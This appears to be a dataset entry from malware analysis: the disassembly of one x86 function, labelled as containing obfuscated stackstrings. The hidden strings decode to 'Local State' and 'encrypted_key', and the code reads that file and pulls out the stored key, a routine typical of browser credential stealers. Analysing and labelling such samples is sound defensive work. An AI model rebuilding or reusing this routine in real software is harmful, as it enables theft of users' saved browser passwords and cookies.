Function at 0x421cc3
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30c
push esi
push edi
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x30a]
push ecx
mov word [ebp - 0x30c], ax
call fcn.0042bd03
mov esi, dword [ebp + 8]
add esp, 0xc
cmp dword [esi + 0x14c], 0
jne 0x421d15
push 4
push 0x3000
push 0x1000
push 0
push esi
call fcn.0042bbd3
add esp, 0x14
mov dword [esi + 0x14c], eax
mov edi, dword [esi + 0x14c]
test edi, edi
je 0x421fb4
push 0x7f
lea edx, [ebp - 0x103]
push 0
push edx
mov byte [ebp - 0x104], 0
call fcn.0042bd03
push 0x1000
push edi
call fcn.0042bcb3
xor eax, eax
mov dword [ebp - 0x41], eax
mov dword [ebp - 0x3d], eax
mov dword [ebp - 0x39], eax
mov dword [ebp - 0x35], eax
mov dword [ebp - 0x31], eax
mov dword [ebp - 0x2d], eax
mov dword [ebp - 0x29], eax
mov byte [ebp - 0x25], al
mov ecx, 0x65
mov word [ebp - 0x6e], ax
mov dword [ebp - 0x6c], eax
mov dword [ebp - 0x68], eax
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x54], eax
mov dword [ebp - 0x50], eax
mov dword [ebp - 0x4c], eax
mov dword [ebp - 0x48], eax
mov dword [ebp - 0x16], eax
mov dword [ebp - 0x12], eax
mov dword [ebp - 0xe], eax
mov dword [ebp - 0xa], eax
mov word [ebp - 6], ax
mov eax, dword [esi + 0x638]
add esp, 0x14
mov edx, ecx
mov word [ebp - 0x44], 0x7d22
mov byte [ebp - 0x42], 0
mov dword [ebp - 0x84], 0x6f004c
mov dword [ebp - 0x80], 0x610063
mov dword [ebp - 0x7c], 0x20006c
mov dword [ebp - 0x78], 0x740053
mov dword [ebp - 0x74], 0x740061
mov word [ebp - 0x70], dx
mov dword [ebp - 0x24], 0x72636e65
mov dword [ebp - 0x20], 0x65747079
mov dword [ebp - 0x1c], 0x656b5f64
mov word [ebp - 0x18], 0x79
test eax, eax
je 0x421e57
cmp dword [esi + 0x4f8], 0
je 0x421e57
push eax
call fcn.0042bea3
mov edx, dword [esi + 0x638]
lea ecx, [eax + eax + 2]
push ecx
push edx
lea eax, [ebp - 0x30c]
push eax
call fcn.0042bc83
lea ecx, [ebp - 0x30c]
push ecx
call fcn.0042bea3
add esp, 0x14
cmp word [ebp + eax*2 - 0x30e], 0x5c
je 0x421ed0
lea edx, [ebp - 0x30c]
push edx
call fcn.0042bea3
mov ecx, 0x5c
add esp, 4
mov word [ebp + eax*2 - 0x30c], cx
jmp 0x421ed0
lea edx, [ebp - 0x104]
push edx
call fcn.0040c3b3
push 0
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 0x30c]
push ecx
push esi
call fcn.00418493
lea edx, [ebp - 0x104]
push edx
call fcn.0040cdf3
add esp, 0x18
push 1
lea eax, [ebp - 0x104]
push eax
lea ecx, [ebp - 0x30c]
push ecx
call fcn.0042bea3
add esp, 4
lea edx, [ebp + eax*2 - 0x30c]
push edx
push esi
call fcn.00418493
lea eax, [ebp - 0x30c]
push eax
call fcn.0042bea3
add esp, 0x14
cmp eax, 0x16
jb 0x421fb4
xor ecx, ecx
mov word [ebp + eax*2 - 0x330], cx
push 0
lea edx, [ebp - 0x84]
push edx
lea eax, [ebp - 0x30c]
push eax
call fcn.0042c013
push 0
push 0x15
lea ecx, [ebp - 0x30c]
push ecx
push esi
call fcn.00427f33
push 0
push 1
lea edx, [ebp - 0x30c]
push edx
push esi
mov dword [ebp - 4], eax
call fcn.00427f33
mov edi, eax
add esp, 0x2c
mov dword [ebp + 8], edi
test edi, edi
je 0x421fb4
cmp dword [ebp - 4], 0
je 0x421fb4
lea eax, [ebp - 0x24]
push eax
push edi
call fcn.0042bf33
add esp, 8
mov dword [ebp - 4], eax
test eax, eax
je 0x421f87
lea ecx, [ebp - 0x24]
push ecx
call fcn.0042be83
mov edx, dword [ebp - 4]
lea edi, [edx + eax + 3]
lea eax, [ebp - 0x44]
push eax
push edi
call fcn.0042bf33
add esp, 0xc
mov byte [eax], 0
cmp byte [edi], 0
je 0x421f84
push edi
call fcn.0042be83
add esp, 4
cmp eax, 0x400
jae 0x421f84
push edi
call fcn.0042be83
mov ecx, dword [esi + 0x14c]
push eax
push edi
push ecx
call fcn.0042bc83
add esp, 0x10
mov edi, dword [ebp + 8]
cmp dword [esi + 0x4a8], 0
jne 0x421f9f
push esi
call fcn.0040f393
add esp, 4
mov dword [esi + 0x4a8], eax
push edi
push esi
call fcn.0042bc63
add esp, 8
pop edi
mov eax, 1
pop esi
mov esp, ebp
pop ebp
ret
pop edi
xor eax, eax
pop esi
mov esp, ebp
pop ebp
ret